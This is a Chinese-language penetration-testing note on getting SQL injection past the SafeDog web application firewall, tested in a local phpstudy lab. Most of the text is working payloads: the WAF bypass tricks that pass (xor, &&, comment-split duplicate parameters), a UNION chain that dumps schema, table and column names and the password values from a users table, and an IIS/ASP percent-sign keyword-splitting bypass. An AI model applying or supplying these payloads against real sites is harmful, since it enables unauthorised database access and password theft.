目录
“骚姿势sql注入绕过安全狗~~”
环境部署
phpstudy+安全狗4.0.2655 搭建的环境
url:http:192.168.114.133/sql.php?id=1
payload测试
or 1=1 拦
&& true 不拦(&& 1 拦)
xor 1 不拦
xor 0 不拦
?id=1/*&id=1 order by 2%23*/ 不拦
?id=1/*&id=0 union select 1,2%23*/ 不拦
sql.php?/*&id=0 union select 1,2%23*/ 也行
替换回显位2:
(select group_concat(schema_name) from information_schema.schemata)
爆出数据库名:
替换回显位2:
(select group_concat(table_name) from information_schema.tables where table_schema='security')
爆出表名:
替换回显位2:
(select group_concat(column_name) from information_schema.columns where table_name='users')
爆出列名:
替换回显位2:
(select group_concat(password) from security.users)
爆出password字段值:
asp+iis 特性
在IIS+ASP的环境中,对于URL请求的参数值中的%,如果和后面的字符构成的字符串在URL编码表之外,ASP脚本处理时会将其忽略。 但是waf拿到包后会对url,比如:id=1 union all se%lect 1,2,3,4 fro%m adm%in,此时waf因为%的分隔,无法检测出关键字select from等。 因为IIS的特性,最后在服务器上解析的时候,id获取的实际参数就变为id=1 union all select 1,2,3,4 from admin,从而绕过了waf。